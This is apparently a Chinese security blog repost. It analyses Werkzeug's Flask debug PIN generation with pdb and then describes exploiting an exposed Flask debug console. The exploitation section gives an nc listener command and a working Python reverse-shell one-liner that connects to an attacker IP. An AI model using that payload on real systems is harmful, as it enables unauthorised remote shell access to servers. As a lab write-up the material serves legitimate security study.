Flask debug 模式 PIN 码生成机制安全性研究笔记
0x00 前言
前几天我整理了一个笔记:Flask开启debug模式等于给黑客留了后门,就Flask在生产网络中开启debug模式可能产生的安全问题做了一个简要的分析。其中有一个比较严重的安全问题是,可以在交互式Python shell中执行自定义Python代码。就这一点来讲,在旧版本的Flask中是不需要输入PIN码认证就可以执行代码,其危害不言而喻。
在新版本的Flask中需要输入PIN码进行认证,才能执行自定义代码,于攻击者来说,这显然有点鸡肋了。
而后,偶然中发现,在同一台机器上,多次重启Flask服务,PIN码值不改变。也就是说PIN码是一个固定值,这极大的引起的我的兴趣。
于是,笔者就PIN码的生成机制做了一些学习研究,便有了本文。
0x01 基础环境
Windows 7 x64
Python 2.7.14
Flask 0.12.2
pdb
0x02 PIN 码生成流程分析
最开始在是在周会上,几位大佬就PIN码可能的生成方式发表了自己的看法。会后 @Royal.师傅 指出了PIN码生成的关键函数,提点了我一发。
奈何静态分析起来有些吃力,要是能有个工具可以在程序执行时,对其下断点,一步一步的跟踪,那还是极好的。 后来向ph师傅@周佩雨 请教后,其向我推荐了pdb,简单理解pdb就是一个调试Python用的调试器(墙裂推荐!玩出了二进制安全的快感!2333)。
so,在分析Flask程序执行流程,直到定位到PIN码生成函数这段过程,都会大量依赖pdb,来梳理函数间的调用关系。
示例代码依旧使用上一篇文章中的测试代码:
# -*- coding: utf-8 -*-import pdbfrom flask import Flaskapp = Flask(__name__) @app.route("/")def hello(): return Hello if __name__ == "__main__": pdb.set_trace() app.run(host="127.0.0.1", port=80, debug=True)
值得注意的是,我在第1行import pdb,第11行pdb.set_trace(),就是在app.run()函数前下断点。关于pdb的常用命令,不需要再去其他博文中补充知识。用到哪个,我都会简单介绍下。
第1步:启动该Flask应用(其会在app.run()函数前断掉)
第2步:使用s命令,进入app.run()函数中(C:\Python27\Lib\site-packages\flask\app.py 第782-846行),多次输入n命令(执行下一行),抵达第841行的run_simple()函数
按s命令,进入run_simple()函数。多次执行n命令,抵达C:\Python27\Lib\site-packages\werkzeug\serving.py 第736行,创建DebuggedApplication对象的位置(即创建对象的过程会执行DebuggedApplication类的__init__构造方法)。
按s命令,步入DebuggedApplication类的实现代码(C:\Python27\Lib\site-packages\werkzeug\debug\__init__.py 第199-468行)中:
根据文件名称、类名称等可以推断出,这部分中就会有生成PIN码的关键代码。
顺便提一句,
Flask is a microframework for Python based on Werkzeug, Jinja 2 and good intentions.
Flask是基于Werkzeug和Jinja 2的Web框架。研究Flask的PIN码生成机制,就是研究Werkzeug的PIN码生成机制。
继续向下跟,第251行和第262行之间
有一个判断操作,如果PIN启用的话,及self.pin存在值,则会通过_log()函数,将PIN码打印到终端。
ok,那我们现在只要在程序执行到if self.pin is None:时。进入self.pin,查看其实现方式即可(这里用到了Property的概念,简单理解在Python的类中,针对类中的成员变量,提供了Property,方便定义get和set方法,方便对该变量取值和赋值。详细内容可以在参考链接中查看)。
第266行,通过get_pin_and_cookie_name()函数对PIN码进行赋值
继续跟进get_pin_and_cookie_name()函数(第115-196行),重头戏来了!
在这个函数中,前几行定义了pin、rv、num 3个变量值为None(在调试器中使用【pp 变量名】即可查看变量值)。其中根据函数的返回值,rv的值就是我们要重点关注的PIN码,在这个函数的执行流程中,需要重点关注rv变量的赋值。
由于PIN的值为None,so第108-137行两个if判断均不会执行,继续向下走。
modname变量被赋值为“flask.app”
继续向下执行,在第145行username = getpass.getuser(),username变量被赋值为“当前登录服务器的用户名”。向下执行,mod被赋值为
继续向下执行,第151-168行,是生成PIN码的储备阶段,对多个变量进行了赋值。
下图为各变量此时的值
通过h.hexdigest()函数可以获得h的MD5值(后面会用到)。
根据上图的执行流程,先来看下169-174行的for循环,循环次数即为前面那一坨变量值得数量,共6次。
第1次循环,将“当前机器用户名”的MD5形式存入h变量中。
第2次循环,将“当前机器用户名”+flask.app的MD5形式存入h变量中。
...
第6次循环,将以上6个值的MD5形式存入h变量中
第175、182行将两个固定的字符串加入其中。变量num的值为MD5值16进制的前9位,经过187-194行代码处理,以111-222-333形式输出。
0x03 PIN 码的生成流程安全么?
通过0x02小结,现在已经摸清了PIN码的生成流程。我们可以知道PIN码的值由【当前计算机用户名:XXX】、【flask.app】、【Flask】、【C:\\Python27\\lib\\site-packages\\flask\\app.pyc】、【str(uuid.getnode())】、【get_machine_id()】组合获得,缺一不可。
【flask.app】、【Flask】已知。
绝对路径可以由debug页面的报错信息获得,【C:\\Python27\\lib\\site-packages\\flask\\app.pyc】也能拿到。
现在的问题是,如何获得【当前计算机用户名:XXX】、【str(uuid.getnode())】、【get_machine_id()】3个变量的值。
先来看下Flask自动义的get_machine_id()函数(C:\Python27\Lib\site-packages\werkzeug\debug\__init__.py 第51-101行)
返回值rv由内部的_generate()函数获得。
根据第60-65行,可以看到,
若/etc/machine-id,/proc/sys/kernel/random/boot_id文件存在,则返回文件中的值。看到这里就知道,想要预测这个值,那是没戏了。
因为我的测试机用的Windows,看一下对Windows这块是怎么实现的。
欢笑中打出GG。至于获取【当前计算机用户名:XXX】、【str(uuid.getnode())】的实现代码,我这里就不做过多的分析了。
0x04 后记
通过这次分析,可以学习到Flask的开发人员在实现PIN生成机制的过程中还是非常严谨的。至少我这里没有办法预测出指定机器的PIN码。
文章记录了我这次分析的过程,虽然没有找到预测PIN码的方法,但是学习到了Flask的PIN码生成机制,以及通过pdb调试代码。也算是一种收获吧。
当然,如果对这方面有兴趣的同学,恰好看到了我的这篇文章,希望你也能有所收获。同时,如有谬误,还请不吝赐教。
之后的话,我可能还会看下有没有绕过PIN码直接调用Python shell的方式、或者其他的安全问题。
随着Python的广泛应用,在机器学习、Web开发方面可以越来越多的看到Python的身影,Python相关的安全问题也越来越重要。我这里抛砖引玉,记录一下我的学习过程,期待各位大佬投入到相关安全问题的挖掘中来(可能很多人已经在做了),同时可以分享自己的研究成果。期待ing
Flask在生产环境中开启debug模式是一件非常危险的事,主要有3点原因:
1、会泄露当前报错页面的源码,可供审计挖掘其他漏洞
2、会泄露Web应用的绝对路径,及Python解释器的路径(可以配合写文件漏洞向指定目录的文件内写入构造好的恶意代码,利用方式可以参考安全客的这篇文章:文件解压之过 Python中的代码执行)
3、debug页面中包含Python的交互式shell,可以执行任意Python代码
漏洞分析
由于最近在搞站的时候有幸遇到了这个漏洞,便想着将相关的知识点整理一下,方便之后查阅。当然我们不可能在生产环境中去研究这个漏洞怎么利用,而是要通过搭建实验环境做进一步的分析,于是便有了本文。
搭建实验环境
第1步:下载Flask框架
pip install flask
第2步:写一个最简单的基于Flask的Web应用,并开启调试模式
from flask import Flask
app = Flask(__name__)
@app.route("/")
def hello():
return Hello
if __name__ == "__main__":
app.run(host="0.0.0.0", port=80, debug=True)
这是一个存在错误的代码,第7行中函数返回值未定义。
第3步:假装部署到生产环境中,等待着被黑客攻击2333
python hello.py
经过如上3个步骤,实验环境搭建完毕。
漏洞利用
由于该网站的后端代码存在语法错误,在网站运行过程中,我们只要访问这个网站的根目录,就会执行hello()函数,由于其返回值未定义,存在语法问题,故抛出500错误,进入debug页面。
接下来就说一说,如何利用这个debug页面。
通过栈回溯信息可以看到,Python解释器及相关第三方模块的路径。
Web应用路径,以及当前报错页面源码。
当然,这些并不是本篇文章的重点,接下来我将重点说下debug页面中包含的Python交互式shell,以及利用这个交互式shell我们应该执行哪些代码。
在本次的测试环境中,要进入这个Python shell需要输入一个PIN码,当时偶遇这个漏洞的时候,目标站点是不需要属于PIN码的(可能是Flask的版本原因,具体原因暂未考证。目测这个PIN码是可以爆破的,之后有时间的话会研究下具体的实现方式)。
由于当时遇到的是Linux系统,为了复盘漏洞现场,便把实验代码移植到Linux系统运行(前面相应的截图在这里就不做替换了,内容比较简单,不影响阅读)。
通过Python代码反弹shell
最初我的想法是直接利用这个交互式shell,导入os模块,执行系统命令。当我执行ls命令,试图让其返回当前目录下的文件列表时,奈何只返回了一个数字0。竟然没有返回值!所以只能说是shell,还够不上交互。
我输入的代码os.system(‘ls‘)只返回了一个数字0,通过os.system()调用nc反弹shell也不能成功。走到这里,我是有一个疑问的,我输入的python代码是否成功执行?是不是因为设置了Python沙盒,禁用了某些函数。
由于获取不到返回内容,并不能确定python代码是否成功执行,也不能确定当前权限哪些系统命令可以执行,哪些不能执行。当然,靠猜的话,那就没啥意思了,万事都要讲究个逻辑。
便想着curl下自己的站点,观察访问日志(如果最后shell反弹不成功的话,通过这种方式也可以获取到命令执行的返回值)。
由此可见,os.system()函数没有被禁用,至于为什么通过nc反弹不会来shell,那就应该从其他点再进行排查了。
反反复复,由于时间关系,中间过程遇到的一些小问题暂且不表,最后通过如下命令成功反弹回shell:
Attacker在一台公网的服务器上监听端口
nc -vvlp 1234
在debug页面输入Python代码,反弹shell至Attacker的机器
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("19x.13.xx.254",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
后记
希望对相关内容感兴趣的人偶然看到了本文能有所收获,如果你有更多的利用方式,还请不吝赐教,tks。
0x05 参考链接
Flask (A Python Microframework)
Python中的property() 函数 和@property 装饰符
原文地址:https://www.cnblogs.com/HacTF/p/8160076.html